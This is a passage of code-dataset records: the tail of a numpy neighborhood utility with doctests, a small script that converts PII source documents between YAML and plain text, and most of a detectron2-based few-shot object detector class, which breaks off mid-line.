neighbors\n    lie on the half-plane [0, 2] x (-inf, -4].\n\n    >>> neighborhood((0, -4), 1, np.inf, bounds=[(0, 2), (-np.inf, -4)])\n    (array([0, 1, 0, 1]), array([-5, -5, -4, -4]))\n\n    Find the sphere of radius 2, measured in the 1-norm, around the point (-1, 0, 3), within the\n    half-space {(x,y,z) in Z^3 | y>=0}.\n\n    >>> neighborhood((-1, 0, 3), 2, 1, 'sphere', [(-np.inf, np.inf), (0, np.inf), (-np.inf, np.inf)])  # doctest: +NORMALIZE_WHITESPACE\n    (array([-3, -2, -2, -1, -1,  0,  0,  1, -2, -1, -1,  0, -1]),\n     array([0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2]),\n     array([3, 2, 4, 1, 5, 2, 4, 3, 3, 2, 4, 3, 3]))\n\n    \"\"\"\n    dim = len(center)\n    if not bounds:\n        bounds = [(-np.Inf, np.Inf) for i in range(dim)]\n\n    # Every neighborhood is within this bounding box\n    bounding_box = [np.linspace(center[i] - radius, center[i] + radius, 2 * radius + 1, dtype=int)\n                    for i in range(dim)]\n    # Coordinates of the points in that bounding box\n    X = np.meshgrid(*bounding_box)\n    candidates = [X[i].flatten() for i in range(dim)]\n\n    # Distance of the candidate points from the center\n    candidates_matrix = np.column_stack(candidates)\n    center_matrix = np.reshape(center, (1, dim))\n    n_candidates = (2 * radius + 1) ** dim\n    center_matrix = np.repeat(center_matrix, n_candidates, axis=0)\n    distance = lambda x: np.linalg.norm(x, norm, axis=1)\n    distances = distance(candidates_matrix - center_matrix)\n\n    # Select those points that satisfy the required distance measure\n    within_distance = distances <= radius if method == 'ball' else distances == radius\n\n    # Consider only neighbors that fall within the specified bounds\n    within_bounds = []\n    for i in range(dim):\n        lower_bound = bounds[i][0]\n        upper_bound = bounds[i][1]\n        within_bounds.append((candidates_matrix[:, i] >= lower_bound) &\n                             (candidates_matrix[:, i] <= upper_bound))\n    within_bounds = reduce(np.logical_and, within_bounds)\n\n    # Neighbors are given component-wise\n    neighbors = tuple(candidates[i][within_distance & within_bounds] for i in range(dim))\n    return neighbors\n\n\nif __name__ == \"__main__\":\n    import doctest\n    doctest.testmod(verbose=True)\n", "repo_name": "CsatiZoltan/CristalX", "sub_path": "grains/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 18235, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.unique", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 305, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 383, "usage_type": "call"}, {"api_name": "os.path", "line_number": 383, "usage_type": "attribute"}, {"api_name": "zipfile.ZIP_DEFLATED", "line_number": 385, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 386, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 406, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 430, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 433, "usage_type": "call"}, {"api_name": "os.path", "line_number": 433, "usage_type": "attribute"}, {"api_name": "numpy.Inf", "line_number": 538, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 541, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 544, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 548, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 549, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 551, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 552, "usage_type": "attribute"}, {"api_name": "functools.reduce", "line_number": 565, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 565, "usage_type": "attribute"}, {"api_name": "doctest.testmod", "line_number": 574, "usage_type": "call"}]}
{"seq_id": "20533329099", "text": "\"\"\"\nSimple script to read & write Source Documents in either YAML or raw text\nformats\n\"\"\"\n\nfrom argparse import ArgumentParser, Namespace\n\nfrom pii_data.helper.io import base_extension\nfrom pii_data.types.localdoc import LocalSrcDocumentFile\n\nfrom ..doc.text import TextSrcDocument, CHUNK_MODES\n\n\ndef from_plain(inputfile: str, args: Namespace) -> TextSrcDocument:\n    \"\"\"\n    Read a plain text file\n    \"\"\"\n    opt = {\"mode\": args.mode}\n    if args.input_indent:\n        opt[\"indent\"] = args.input_indent\n    if args.chunk_options:\n        opt.update(v.split(\"=\", 1) for v in args.chunk_options)\n    return TextSrcDocument(inputfile, chunk_options=opt)\n\n\n# --------------------------------------------------------------------------\n\ndef parse_args():\n    args = ArgumentParser(description='Convert from YAML PII Source Doc to plain raw text or viceversa')\n    args.add_argument('inputdoc', help='input file (text or YAML)')\n    args.add_argument('outputdoc',\n                      help='output file (format to be deduced from file extension)')\n    args.add_argument('--mode', choices=CHUNK_MODES, default=\"line\",\n                      help=\"text chunking mode (default: %(default)s)\")\n    args.add_argument('--chunk-options', metavar=\"NAME=VAL\", nargs=\"+\",\n                      help=\"text chunking options\")\n    args.add_argument('--input-indent', type=int, default=0, metavar=\"NUMCHARS\",\n                      help=\"indent value to detect tree hierarchy in text input\")\n    args.add_argument('--output-indent', type=int, default=None,\n                      metavar=\"NUMCHARS\",\n                      help=\"output indent value (for text or json output)\")\n    return args.parse_args()\n\n\ndef main(args: Namespace = None):\n\n    if not args:\n        args = parse_args()\n\n    # Read document\n    ext1 = base_extension(args.inputdoc)\n    if ext1 in ('.yml', '.yaml'):\n        doc = LocalSrcDocumentFile(args.inputdoc)\n    else:\n        doc = from_plain(args.inputdoc, args)\n\n    # Write it\n    doc.dump(args.outputdoc, indent=args.output_indent)\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "piisa/pii-preprocess", "sub_path": "src/pii_preprocess/app/textdoc.py", "file_name": "textdoc.py", "file_ext": "py", "file_size_in_byte": 2081, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.Namespace", "line_number": 14, "usage_type": "name"}, {"api_name": "doc.text.TextSrcDocument", "line_number": 23, "usage_type": "call"}, {"api_name": "doc.text.TextSrcDocument", "line_number": 14, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "doc.text.CHUNK_MODES", "line_number": 33, "usage_type": "name"}, {"api_name": "argparse.Namespace", "line_number": 45, "usage_type": "name"}, {"api_name": "pii_data.helper.io.base_extension", "line_number": 51, "usage_type": "call"}, {"api_name": "doc.text", "line_number": 53, "usage_type": "name"}, {"api_name": "pii_data.types.localdoc.LocalSrcDocumentFile", "line_number": 53, "usage_type": "call"}, {"api_name": "doc.text", "line_number": 55, "usage_type": "name"}, {"api_name": "doc.text.dump", "line_number": 58, "usage_type": "call"}, {"api_name": "doc.text", "line_number": 58, "usage_type": "name"}]}
{"seq_id": "7028764847", "text": "import logging\nfrom xmlrpc.client import TRANSPORT_ERROR\nfrom black import T\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torch.nn import init\nfrom demo_visualizer import Have_a_Look\nfrom detectron2.data.detection_utils import convert_image_to_rgb\nfrom detectron2.structures import ImageList, Boxes, Instances\nfrom detectron2.utils.events import get_event_storage\nfrom detectron2.utils.logger import log_first_n\n\nfrom detectron2.modeling.backbone import build_backbone\nfrom detectron2.modeling.postprocessing import detector_postprocess\nfrom detectron2.modeling.proposal_generator import build_proposal_generator\nfrom .fsod_roi_heads import build_roi_heads\nfrom detectron2.modeling.meta_arch.build import META_ARCH_REGISTRY\nfrom torch.autograd import Variable\nfrom detectron2.modeling.poolers import ROIPooler\nimport torch.nn.functional as F \nfrom demo_visualizer import Have_a_Look\nfrom .fsod_fast_rcnn import FsodFastRCNNOutputs\n\nimport os\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nfrom detectron2.data.catalog import MetadataCatalog\nimport detectron2.data.detection_utils as utils\nimport pickle\nimport sys\n\n\n\n@META_ARCH_REGISTRY.register()\nclass CenterNet2Detector(nn.Module):\n    \"\"\"\n    Generalized R-CNN. Any models that contains the following three components:\n    1. Per-image feature extraction (aka backbone)\n    2. Region proposal generation\n    3. Per-region feature extraction and prediction\n    \"\"\"\n\n    def __init__(self, cfg,pos_encoding=True):\n        super().__init__()\n\n        self.backbone = build_backbone(cfg)\n        self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())\n        self.roi_heads = build_roi_heads(cfg, self.backbone.output_shape())\n        self.vis_period = cfg.VIS_PERIOD\n        self.input_format = cfg.INPUT.FORMAT\n\n        assert len(cfg.MODEL.PIXEL_MEAN) == len(cfg.MODEL.PIXEL_STD)\n        self.register_buffer(\"pixel_mean\", torch.Tensor(cfg.MODEL.PIXEL_MEAN).view(-1, 1, 1))\n        self.register_buffer(\"pixel_std\", torch.Tensor(cfg.MODEL.PIXEL_STD).view(-1, 1, 1))\n\n        self.in_features              = cfg.MODEL.ROI_HEADS.IN_FEATURES\n\n        self.support_way = cfg.INPUT.FS.SUPPORT_WAY\n        self.support_shot = cfg.INPUT.FS.SUPPORT_SHOT\n        self.logger = logging.getLogger(__name__)\n        # self.conv_1 = nn.Conv2d(160, 144, 1, padding=0, bias=False)\n        self.agp1=nn.AdaptiveAvgPool2d((32,32))\n        self.agp2=nn.AdaptiveAvgPool2d((16,16))\n        self.agp3=nn.AdaptiveAvgPool2d((8,8))\n        self.vip_p3=SM_Block(128,32)\n        self.vip_p4=SM_Block(128,16)\n        self.vip_p5=SM_Block(128,8)\n        self.support_pool_1x1=nn.AdaptiveAvgPool2d((1,1))\n        # self.support_pool_3x1=nn.AdaptiveAvgPool2d((1,1))\n        self.support_pool_1x3=nn.AdaptiveAvgPool2d((1,3))\n        self.support_pool_3x1=nn.AdaptiveAvgPool2d((3,1))\n        self.conv1 = nn.Conv2d(128, 64, 1)\n        self.conv2 = nn.Conv2d(128, 64, 1)\n        self.conv3 = nn.Conv2d(256, 128, 1)\n        \n        # self.cot_p3=CoTAttention(128,3)\n        # self.cot_p4=CoTAttention(128,3)\n        # self.cot_p5=CoTAttention(128,3)\n        # self.Polarize_p3=ParallelPolarizedSelfAttention(128)\n        # self.Polarize_p4=ParallelPolarizedSelfAttention(128)\n        # self.Polarize_p5=ParallelPolarizedSelfAttention(128)\n        # self.cbam_p3=CBAMBlock(128)\n        # self.cbam_p4=CBAMBlock(128)\n        # self.cbam_p5=CBAMBlock(128)\n\n    @property\n    def device(self):\n        return self.pixel_mean.device\n\n    def visualize_training(self, batched_inputs, proposals):\n        \"\"\"\n        A function used to visualize images and proposals. It shows ground truth\n        bounding boxes on the original image and up to 20 predicted object\n        proposals on the original image. Users can implement different\n        visualization functions for different models.\n\n        Args:\n            batched_inputs (list): a list that contains input to the model.\n            proposals (list): a list that contains predicted proposals. Both\n                batched_inputs and proposals should have the same length.\n        \"\"\"\n        from detectron2.utils.visualizer import Visualizer\n\n        storage = get_event_storage()\n        max_vis_prop = 20\n\n        for input, prop in zip(batched_inputs, proposals):\n            img = input[\"image\"]\n            img = convert_image_to_rgb(img.permute(1, 2, 0), self.input_format)\n            v_gt = Visualizer(img, None)\n            v_gt = v_gt.overlay_instances(boxes=input[\"instances\"].gt_boxes)\n            anno_img = v_gt.get_image()\n            box_size = min(len(prop.proposal_boxes), max_vis_prop)\n            v_pred = Visualizer(img, None)\n            v_pred = v_pred.overlay_instances(\n                boxes=prop.proposal_boxes[0:box_size].tensor.cpu().numpy()\n            )\n            prop_img = v_pred.get_image()\n            vis_img = np.concatenate((anno_img, prop_img), axis=1)\n            vis_img = vis_img.transpose(2, 0, 1)\n            vis_name = \"Left: GT bounding boxes;  Right: Predicted proposals\"\n            storage.put_image(vis_name, vis_img)\n            break  # only visualize one image in a batch\n\n    def forward(self, batched_inputs):\n        \"\"\"\n        Args:\n            batched_inputs: a list, batched outputs of :class:`DatasetMapper` .\n                Each item in the list contains the inputs for one image.\n                For now, each item in the list is a dict that contains:\n\n                * image: Tensor, image in (C, H, W) format.\n                * instances (optional): groundtruth :class:`Instances`\n                * proposals (optional): :class:`Instances`, precomputed proposals.\n\n                Other information that's included in the original dicts, such as:\n\n                * \"height\", \"width\" (int): the output resolution of the model, used in inference.\n                  See :meth:`postprocess` for details.\n\n        Returns:\n            list[dict]:\n                Each dict is the output for one input image.\n                The dict contains one key \"instances\" whose value is a :class:`Instances`.\n                The :class:`Instances` object has the following keys:\n                \"pred_boxes\", \"pred_classes\", \"scores\", \"pred_masks\", \"pred_keypoints\"\n        \"\"\"\n        if not self.training:\n            self.init_model()\n            return self.inference(batched_inputs)\n        \n        images, support_images = self.preprocess_image(batched_inputs)\n        if \"instances\" in batched_inputs[0]:\n            for x in batched_inputs:\n                x['instances'].set('gt_classes', torch.full_like(x['instances'].get('gt_classes'), 0))\n            \n            gt_instances = [x[\"instances\"].to(self.device) for x in batched_inputs]\n        else:\n            gt_instances = None\n        \n        features = self.backbone(images.tensor)\n        \n        support_bboxes_ls = []\n        for item in batched_inputs:\n            bboxes = item['support_bboxes']\n            for box in bboxes:\n                box = Boxes(box[np.newaxis, :])\n                support_bboxes_ls.append(box.to(self.device))\n        \n        B, N, C, H, W = support_images.tensor.shape\n        assert N == self.support_way * self.support_shot\n\n        support_images = support_images.tensor.reshape(B*N, C, H, W)\n        support_features = self.backbone(support_images)\n        support_features_pooler_rcnn = []\n        support_features_pool_rcnn_8 = self.roi_heads.box_pooler([support_features[f] for f in self.in_features], support_bboxes_ls)\n        # support_features_pool_rcnn_12 = self.roi_heads.box_pooler1([support_features[f] for f in self.in_features], support_bboxes_ls)\n        support_features_pool_rcnn_4 = self.roi_heads.box_pooler2([support_features[f] for f in self.in_features], support_bboxes_ls)\n        support_features_pooler_rcnn = [support_features_pool_rcnn_8,support_features_pool_rcnn_4]\n\n\n        assert self.support_way == 1 # now only 2 way support\n        \n        loss_centernet_loc=[]\n        loss_centernet_agn_pos=[]\n        loss_centernet_agn_neg=[]\n        loss_cls_stage0=[]\n        loss_box_reg_stage0=[]\n        loss_cls_stage1=[]\n        loss_box_reg_stage1=[]\n        loss_cls_stage2=[]\n        loss_box_reg_stage2=[]\n        for i in range(B): # batch\n            # query\n            query_gt_instances = [gt_instances[i]] # one query gt instances\n            query_images = ImageList.from_tensors([images[i]]) # one query image\n\n            query_feature_p3 = features['p3'][i].unsqueeze(0) # one query feature for attention [1,C,H,W]\n            query_feature_p4 = features['p4'][i].unsqueeze(0) \n            query_feature_p5 = features['p5'][i].unsqueeze(0) \n            \n            \n            \n            pos_begin = i * self.support_shot * self.support_way\n            pos_end = pos_begin + self.support_shot\n            support_features_p3 = support_features['p3'] #[9,c,h,w]\n            support_features_p4 = support_features['p4']\n            support_features_p5 = support_features['p5']\n            \n            \n            ################sm block\n            support_features_p3 = self.agp1(support_features_p3).permute(0,2,3,1)\n            support_features_p4 = self.agp2(support_features_p4).permute(0,2,3,1)\n            support_features_p5 = self.agp3(support_features_p5).permute(0,2,3,1)\n\n            support_features_p3 = self.vip_p3(support_features_p3).permute(0,3,2,1) #[9,16,16,160]\n            support_features_p4 = self.vip_p4(support_features_p4).permute(0,3,2,1)\n            support_features_p5 = self.vip_p5(support_features_p5).permute(0,3,2,1)\n            ######################\n\n            support_features_p3_pool = support_features_p3[pos_begin:pos_end].mean(0, True)\n            support_features_p4_pool = support_features_p4[pos_begin:pos_end].mean(0, True)\n            support_features_p5_pool = support_features_p5[pos_begin:pos_end].mean(0, True)\n            \n            #p3\n            support_pool_p3_1x1 = self.support_pool_1x1(support_features_p3_pool)\n            support_pool__p3_1x3 = self.support_pool_1x3(support_features_p3_pool)\n            support_pool_p3_3x1 = self.support_pool_3x1(support_features_p3_pool)\n            \n            \n            pos_correlation__p3_1_1 = F.relu(F.conv2d(query_feature_p3, support_pool_p3_1x1.permute(1,0,2,3),padding=(0, 0), groups=128)) # attention map\n            pos_correlation__p3_1_2 = F.relu(F.conv2d(pos_correlation__p3_1_1, support_pool_p3_1x1.permute(1,0,2,3),padding=(0, 0), groups=128))\n            \n            pos_correlation_p3_2_1 = F.relu(F.conv2d(query_feature_p3, support_pool__p3_1x3.permute(1,0,2,3),padding=(0, 1), groups=128))\n            pos_correlation_p3_2_2 = F.relu(F.conv2d(pos_correlation_p3_2_1, support_pool_p3_3x1.permute(1,0,2,3),padding=(1, 0), groups=128))\n            \n            # pos_correlation_p3_3_1 = F.conv2d(query_feature_p3, support_pool_p3_1x7.permute(1,0,2,3),padding=(0, 3), groups=128)\n            # pos_correlation_p3_3_2 = F.conv2d(pos_correlation_p3_3_1, support_pool_p3_7x1.permute(1,0,2,3),padding=(3, 0), groups=128)\n            attn1 = pos_correlation__p3_1_2 + pos_correlation_p3_2_2 +query_feature_p3\n            attn1 = F.relu(self.conv3(torch.cat((attn1,query_feature_p3),1)))#+torch.cat((self.conv1(attn1),self.conv2(query_feature_p3)),1)\n\n            #p4\n            support_pool_p4_1x1 = self.support_pool_1x1(support_features_p4_pool)\n            # support_pool_p4_3x1 = self.support_pool_3x1(support_features_p4_pool)\n            support_pool_p4_1x3 = self.support_pool_1x3(support_features_p4_pool)\n            support_pool_p4_3x1 = self.support_pool_3x1(support_features_p4_pool)\n            \n            \n            pos_correlation_p4_1_1 = F.relu(F.conv2d(query_feature_p4, support_pool_p4_1x1.permute(1,0,2,3),padding=(0, 0), groups=128)) # attention map\n            pos_correlation_p4_1_2 = F.relu(F.conv2d(pos_correlation_p4_1_1, support_pool_p4_1x1.permute(1,0,2,3),padding=(0, 0), groups=128))\n            \n            pos_correlation_p4_2_1 = F.relu(F.conv2d(query_feature_p4, support_pool_p4_1x3.permute(1,0,2,3),padding=(0, 1), groups=128))\n            pos_correlation_p4_2_2 = F.relu(F.conv2d(pos_correlation_p4_2_1, support_pool_p4_3x1.permute(1,0,2,3),padding=(1, 0), groups=128))\n            \n            attn2 = pos_correlation_p4_1_2 + pos_correlation_p4_2_2  +query_feature_p4\n            attn2 = F.relu(self.conv3(torch.cat((attn2,query_feature_p4),1)))#+torch.cat((self.conv1(attn2),self.conv2(query_feature_p4)),1)\n            \n            \n            #p5\n            support_pool_p5_1x1 = self.support_pool_1x1(support_features_p5_pool)\n            support_pool_p5_1x3 = self.support_pool_1x3(support_features_p5_pool)\n            support_pool_p5_3x1 = self.support_pool_3x1(support_features_p5_pool)\n            \n            pos_correlation_p5_1_1 = F.relu(F.conv2d(query_feature_p5, support_pool_p5_1x1.permute(1,0,2,3),padding=(0, 0), groups=128)) # attention map\n            pos_correlation_p5_1_2 = F.relu(F.conv2d(pos_correlation_p5_1_1, support_pool_p5_1x1.permute(1,0,2,3),padding=(0, 0), groups=128))\n            \n            pos_correlation_p5_2_1 = F.relu(F.conv2d(query_feature_p5, support_pool_p5_1x3.permute(1,0,2,3),padding=(0, 1), groups=128))\n            pos_correlation_p5_2_2 = F.relu(F.conv2d(pos_correlation_p5_2_1, support_pool_p5_3x1.permute(1,0,2,3),padding=(1, 0), groups=128))\n            \n            attn3 = pos_correlation_p5_1_2 + pos_correlation_p5_2_2  + query_feature_p5\n            attn3 = F.relu(self.conv3(torch.cat((attn3,query_feature_p5),1)))#+torch.cat((self.conv1(attn3),self.conv2(query_feature_p5)),1)\n            \n            pos_features = {'p3': attn1,'p4': attn2,'p5': attn3} # attention map for attention rpn\n            \n            proposals, proposal_losses  = self.proposal_generator(query_images, pos_features, query_gt_instances) # attention rpn\n            _, detector_losses = self.roi_heads(query_images, features,support_features_pooler_rcnn, proposals, query_gt_instances)\n        #     loss_centernet_loc.append(proposal_losses['loss_centernet_loc'])\n        #     loss_centernet_agn_pos.append(proposal_losses['loss_centernet_agn_pos'])\n        #     loss_centernet_agn_neg.append(proposal_losses['loss_centernet_agn_neg'])\n            \n        #     loss_cls_stage0.append(detector_losses['loss_cls_stage0'])\n        #     loss_box_reg_stage0.append(detector_losses['loss_box_reg_stage0'])\n        #     loss_cls_stage1.append(detector_losses['loss_cls_stage1'])\n        #     loss_box_reg_stage1.append(detector_losses['loss_box_reg_stage1'])\n        #     loss_cls_stage2.append(detector_losses['loss_cls_stage2'])\n        #     loss_box_reg_stage2.append(detector_losses['loss_box_reg_stage2'])\n        \n        # proposal_losses = {}\n        # detector_losses = {}\n        # proposal_losses['loss_centernet_loc']= torch.stack(loss_centernet_loc).mean()\n        # proposal_losses['loss_centernet_agn_pos']= torch.stack(loss_centernet_agn_pos).mean()\n        # proposal_losses['loss_centernet_agn_neg']= torch.stack(loss_centernet_agn_neg).mean()\n        \n        # detector_losses['loss_cls_stage0']= torch.stack(loss_cls_stage0).mean()\n        # detector_losses['loss_box_reg_stage0']= torch.stack(loss_box_reg_stage0).mean()\n        # detector_losses['loss_cls_stage1']= torch.stack(loss_cls_stage1).mean()\n        # detector_losses['loss_box_reg_stage1']= torch.stack(loss_box_reg_stage1).mean()\n        # detector_losses['loss_cls_stage2']= torch.stack(loss_cls_stage2).mean()\n        # detector_losses['loss_box_reg_stage2']= torch.stack(loss_box_reg_stage2).mean()\n        \n        losses = {}\n        losses.update(detector_losses)\n        losses.update(proposal_losses)\n        return losses\n        \n        \n        \n\n    def init_model(self):\n        self.support_on = True #False\n\n        support_dir = './support_dir'\n        if not os.path.exists(support_dir):\n            os.makedirs(support_dir)\n\n        support_file_name = os.path.join(support_dir, 'support_feature.pkl')\n        if not os.path.exists(support_file_name):\n            support_path = './datasets/coco/10_shot_support_df.pkl'\n            support_df = pd.read_pickle(support_path)\n\n            metadata = MetadataCatalog.get('coco_2017_val_stone')\n            # # unmap the category mapping ids for COCO\n            # reverse_id_mapper = lambda dataset_id: metadata.thing_dataset_id_to_contiguous_id[dataset_id]  # noqa\n            # support_df['category_id'] = support_df['category_id'].map(reverse_id_mapper)\n            support_dict = {'p3': {}, 'p4': {},'p5': {},'rcnn_8': {},'rcnn_4': {}}\n            #support_dict = {'p3': {}, 'p4': {},'p5': {},'p6': {},'p7': {}}\n            for cls in support_df['category_id'].unique():\n                support_cls_df = support_df.loc[support_df['category_id'] == cls, :].reset_index()\n                support_data_all = []\n                support_box_all = []\n\n                for index, support_img_df in support_cls_df.iterrows():\n                    if index < self.support_shot :\n                        img_path = os.path.join('./datasets/coco', support_img_df['file_path'])\n                        support_data = utils.read_image(img_path, format='BGR')\n                        support_data = torch.as_tensor(np.ascontiguousarray(support_data.transpose(2, 0, 1)))\n                        support_data_all.append(support_data)\n\n                        support_box = support_img_df['support_box']\n                        support_box_all.append(Boxes([support_box]).to(self.device))\n                    else: \n                        break\n                # support images\n                support_images = [x.to(self.device) for x in support_data_all]\n                support_images = [(x - self.pixel_mean) / self.pixel_std for x in support_images]\n                support_images = ImageList.from_tensors(support_images, self.backbone.size_divisibility)\n                support_features = self.backbone(support_images.tensor)\n                \n                \n                \n                support_features_pool_rcnn_8 = self.roi_heads.box_pooler([support_features[f] for f in self.in_features], support_box_all)\n                # support_features_pool_rcnn_12 = self.roi_heads.box_pooler1([support_features[f] for f in self.in_features], support_box_all)\n                support_features_pool_rcnn_4 = self.roi_heads.box_pooler2([support_features[f] for f in self.in_features], support_box_all)\n                \n                \n                \n                support_features_p3 = support_features['p3']\n                support_features_p4 = support_features['p4']\n                support_features_p5 = support_features['p5']\n                #support_features_p6 = support_features['p6']\n                #support_features_p7 = support_features['p7']\n                #######################vip\n                support_features_p3 = self.agp1(support_features_p3).permute(0,2,3,1)\n                support_features_p4 = self.agp2(support_features_p4).permute(0,2,3,1)\n                support_features_p5 = self.agp3(support_features_p5).permute(0,2,3,1)\n                \n                support_features_p3 = self.vip_p3(support_features_p3).permute(0,3,2,1) #[9,16,16,160]\n                support_features_p4 = self.vip_p4(support_features_p4).permute(0,3,2,1)\n                support_features_p5 = self.vip_p5(support_features_p5).permute(0,3,2,1)\n               \n                support_features_p3_pool = support_features_p3.mean(0, True)\n                support_features_p4_pool = support_features_p4.mean(0, True)\n                support_features_p5_pool = support_features_p5.mean(0, True)\n                \n\n                # Have_a_Look(support_features_p4_pool,4)\n                \n                # print(support_features_pool_rcnn.shape)\n                # support_features_pool_rcnn = support_features_p3_pool + support_features_p4_pool +support_features_p5_pool #for rcnn \n                support_dict['p3'][cls] = support_features_p3_pool.detach().cpu().data\n                support_dict['p4'][cls] = support_features_p4_pool.detach().cpu().data\n                support_dict['p5'][cls] = support_features_p5_pool.detach().cpu().data\n                # support_dict['rcnn_12'][cls]  = support_features_pool_rcnn_12.detach().cpu().data\n                support_dict['rcnn_8'][cls]  = support_features_pool_rcnn_8.detach().cpu().data\n                support_dict['rcnn_4'][cls]  = support_features_pool_rcnn_4.detach().cpu().data\n                \n                #support_dict['p6'][cls] = support_features_p6.detach().cpu().data\n                #support_dict['p7'][cls] = support_features_p7.detach().cpu().data\n                print(type(support_dict))\n                print(len(support_dict))\n\n                del support_features_p3\n                del support_features_p4\n                del support_features_p5\n                #del support_features_p6\n                #del support_features_p7\n                del support_features\n                \n\n            with open(support_file_name, 'wb') as f:\n               pickle.dump(support_dict, f)\n            self.logger.info(\"=========== Offline support features are generated. ===========\")\n            self.logger.info(\"============ Few-shot object detetion will start. =============\")\n            sys.exit(0)\n            \n        else:\n            with open(support_file_name, \"rb\") as hFile:\n                self.support_dict  = pickle.load(hFile, encoding=\"latin1\")\n            for res_key, res_dict in self.support_dict.items():\n                for cls_key, feature in res_dict.items():\n                    self.support_dict[res_key][cls_key] = feature.cuda()\n\n    def inference(self, batched_inputs, detected_instances=None, do_postprocess=True):\n        \"\"\"\n        Run inference on the given inputs.\n        Args:\n            batched_inputs (list[dict]): same as in :meth:`forward`\n            detected_instances (None or list[Instances]): if not None, it\n                contains an `Instances` object per image. The `Instances`\n                object contains \"pred_boxes\" and \"pred_classes\" which are\n                known boxes in the image.\n                The inference will then skip the detection of bounding boxes,\n                and only predict other per-ROI outputs.\n            do_postprocess (bool): whether to apply post-processing on the outputs.\n        Returns:\n            same as in :meth:`forward`.\n        \"\"\"\n        assert not self.training\n        \n        images = self.preprocess_image(batched_inputs)\n        features = self.backbone(images.tensor)\n\n        B, _, _, _ = features['p3'].shape\n        assert B == 1 # only support 1 query image in test\n        assert len(images) == 1\n        \n        \n        query_images = ImageList.from_tensors([images[0]]) # one query image    \n        query_feature_p3 = features['p3'] # one query feature for attention rpn\n        query_feature_p4 = features['p4'] # one query feature for attention rpn\n        query_feature_p5 = features['p5'] # one query feature for attention rpn\n        #query_feature_p6 = features['p6'] # one query feature for attention rpn\n        #query_feature_p7 = features['p7'] # one query feature for attention rpn\n        \n        \n        \n        \n        \n        \n        for cls_id, support_features_p3_pool in self.support_dict['p3'].items(): #以列表的形式返回可遍历的（键，值）元组\n            \n            \n            # support_features_p3_pool = self.support_dict['p3'][cls_id]\n            support_pool_p3_1x1 = self.support_pool_1x1(support_features_p3_pool)\n            support_pool__p3_1x3 = self.support_pool_1x3(support_features_p3_pool)\n            support_pool_p3_3x1 = self.support_pool_3x1(support_features_p3_pool)\n            \n            \n            pos_correlation__p3_1_1 = F.relu(F.conv2d(query_feature_p3, support_pool_p3_1x1.permute(1,0,2,3),padding=(0, 0), groups=128)) # attention map\n            pos_correlation__p3_1_2 = F.relu(F.conv2d(pos_correlation__p3_1_1, support_pool_p3_1x1.permute(1,0,2,3),padding=(0, 0), groups=128))\n            \n            pos_correlation_p3_2_1 = F.relu(F.conv2d(query_feature_p3, support_pool__p3_1x3.permute(1,0,2,3),padding=(0, 1), groups=128))\n            pos_correlation_p3_2_2 = F.relu(F.conv2d(pos_correlation_p3_2_1, support_pool_p3_3x1.permute(1,0,2,3),padding=(1, 0), groups=128))\n            \n            attn1 = pos_correlation__p3_1_2 + pos_correlation_p3_2_2 +query_feature_p3\n            attn1 = F.relu(self.conv3(torch.cat((attn1,query_feature_p3),1)))#+torch.cat((self.conv1(attn1),self.conv2(query_feature_p3)),1)\n            # attn1 = torch.cat((attn1,query_feature_p3),1)\n            # attn1 =self.conv3(attn1)\n            \n        for cls_id, support_features_p4_pool in self.support_dict['p4'].items(): \n            \n            support_pool_p4_1x1 = self.support_pool_1x1(support_features_p4_pool)\n            # support_pool_p4_3x1 = self.support_pool_3x1(support_features_p4_pool)\n            support_pool_p4_1x3 = self.support_pool_1x3(support_features_p4_pool)\n            support_pool_p4_3x1 = self.support_pool_3x1(support_features_p4_pool)\n            \n            \n            pos_correlation_p4_1_1 = F.relu(F.conv2d(query_feature_p4, support_pool_p4_1x1.permute(1,0,2,3),padding=(0, 0), groups=128)) # attention map\n            pos_correlation_p4_1_2 = F.relu(F.conv2d(pos_correlation_p4_1_1, support_pool_p4_1x1.permute(1,0,2,3),padding=(0, 0), groups=128))\n            \n            pos_correlation_p4_2_1 = F.relu(F.conv2d(query_feature_p4, support_pool_p4_1x3.permute(1,0,2,3),padding=(0, 1), groups=128))\n            pos_correlation_p4_2_2 = F.relu(F.conv2d(pos_correlation_p4_2_1, support_pool_p4_3x1.permute(1,0,2,3),padding=(1, 0), groups=128))\n            \n\n            attn2 = pos_correlation_p4_1_2 + pos_correlation_p4_2_2  +query_feature_p4\n            # attn2 = torch.cat((attn2,query_feature_p4),1)\n            attn2 = F.relu(self.conv3(torch.cat((attn2,query_feature_p4),1)))#+torch.cat((self.conv1(attn2),self.conv2(query_feature_p4)),1)\n            # attn2 =self.conv3(attn2)\n            \n\n        for cls_id, support_features_p5_pool in self.support_dict['p5'].items():     \n            \n            # support_features_p5_pool = self.support_dict['p5'][cls_id]\n            support_pool_p5_1x1 = self.support_pool_1x1(support_features_p5_pool)\n            support_pool_p5_1x3 = self.support_pool_1x3(support_features_p5_pool)\n            support_pool_p5_3x1 = 